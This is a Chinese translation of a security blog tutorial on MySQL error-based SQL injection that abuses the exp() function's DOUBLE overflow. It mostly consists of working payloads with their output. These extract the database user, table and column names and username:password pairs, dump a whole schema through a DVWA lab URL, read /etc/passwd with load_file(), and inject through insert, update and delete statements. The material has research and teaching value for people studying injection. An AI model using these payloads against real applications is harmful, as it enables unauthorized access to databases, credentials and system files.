# 使用exp进行SQL报错注入
此文为`BIGINT Overflow Error Based SQL Injection`的具体发现与实践
from:[https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/](https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/)
0x01 前言概述
=========
* * *
好消息好消息~作者又在`MySQL`中发现了一个`Double`型数据溢出。如果你想了解利用溢出来注出数据,你可以读一下作者之前发的博文:[BIGINT Overflow Error based injections](https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/),drops上面也有对应翻译,具体见[这里](http://drops.wooyun.org/web/8024)。当我们拿到`MySQL`里的函数时,作者比较感兴趣的是其中的数学函数,它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,`函数exp()`就会引起一个溢出错误。
“`
mysql> select exp(709);
+———————–+
| exp(709) |
+———————–+
| 8.218407461554972e307 |
+———————–+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(710)’
“`
在`MySQL`中,`exp`与`ln`和`log`的功能相反,简单介绍下,就是`log`和`ln`都返回以e为底数的对数,见等式:
![enter image description here](http://drops.javaweb.org/uploads/images/2a08cd9fde16c6d1af769b67e1fb57ea3adff50d.jpg)
![enter image description here](http://drops.javaweb.org/uploads/images/9e3783aa333596cd9a79cfa1d8a94dfb1f9f9e4d.jpg)
“`
mysql> select log(15);
+——————+
| log(15) |
+——————+
| 2.70805020110221 |
+——————+
1 row in set (0.00 sec)
mysql> select ln(15);
+——————+
| ln(15) |
+——————+
| 2.70805020110221 |
+——————+
1 row in set (0.00 sec)
“`
指数函数为对数函数的反函数,`exp()`即为以e为底的对数函数,如等式:
![enter image description here](http://drops.javaweb.org/uploads/images/7e475298cd1e4f1eb83220c0256f10f68d08e146.jpg)
“`
mysql> select exp(2.70805020110221);
+———————–+
| exp(2.70805020110221) |
+———————–+
| 15 |
+———————–+
1 row in set (0.00 sec)
“`
0x02 注入
=======
* * *
当涉及到注入时,我们使用否定查询来造成“`DOUBLE value is out of range`”的错误。作者之前的博文提到的,将0按位取反就会返回“`18446744073709551615`”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号`BIGINT`值。
“`
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)
mysql> select ~(select version());
+———————-+
| ~(select version()) |
+———————-+
| 18446744073709551610 |
+———————-+
1 row in set, 1 warning (0.00 sec)
“`
我们通过子查询与按位求反,造成一个`DOUBLE overflow error`,并借由此注出数据。
“`
>`exp(~(select*from(select user())x))`
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
“`
0x03 注出数据
=========
* * *
得到表名:
“`
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
“`
得到列名:
“`
select exp(~(select*from(select column_name from information_schema.columns where table_name=’users’ limit 0,1)x));
“`
检索数据:
“`
select exp(~ (select*from(select concat_ws(‘:’,id, username, password) from users limit 0,1)x));
“`
0x04 一蹴而就
=========
* * *
这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库,但由于我们是通过一个错误进行提取,它会返回很少的结果。
“`
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
http://localhost/dvwa/vulnerabilities/sqli/?id=1′ or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))– -&Submit=Submit#
“`
![enter image description here](http://drops.javaweb.org/uploads/images/e11eaf28f467a0cad1929c1ba1c144dbc0399819.jpg)
0x04 读取文件
=========
* * *
你可以通过`load_file()`函数来读取文件,但作者发现有13行的限制,该语句也可以在`BIGINT overflow injections`中使用。
“`
select exp(~(select*from(select load_file(‘/etc/passwd’))a));
“`
![enter image description here](http://drops.javaweb.org/uploads/images/6f849e13bc54d61b247d54ec5c21c7224b57960d.jpg)
注意,你无法写文件,因为这个错入写入的只是0。
“`
mysql> select exp(~(select*from(select ‘hello’)a)) into outfile ‘C:/out.txt’;
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘hello’ from dual)))’
# type C:\out.txt
0
“`
0x05 Injection in Insert
========================
* * *
按部就班就好
“`
mysql> insert into users (id, username, password) values (2, ” ^ exp(~(select*from(select user())x)), ‘Eyre’);
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
“`
对于所有的`insert,update`和`delete`语句`DIOS`查询也同样可以使用。
“`
mysql> insert into users (id, username, password) values (2, ” | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), ‘Eyre’);
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘000
newdb::users::id
newdb::users::username
newdb::users::password’ from dual)))’
“`
0x06 Injection in Update
========================
* * *
“`
mysql> update users set password=’Peter’ ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
“`
0x07 Injection in Delete
========================
* * *
“`
mysql> delete from users where id=’1′ | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’
“`
0x08 总结
=======
* * *
和前面的BIGINT注入一样,exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。
“`
mysql> select version();
+———————+
| version() |
+———————+
| 5.0.45-community-nt |
+———————+
1 row in set (0.00 sec)
mysql> select exp(710);
+———-+
| exp(710) |
+———-+
| 1.#INF |
+———-+
1 row in set (0.00 sec)
mysql> select exp(~0);
+———+
| exp(~0) |
+———+
| 1.#INF |
+———+
1 row in set (0.00 sec)
“`
可能还有其他的函数会产生这种报错呦。(有待你发现啦:)
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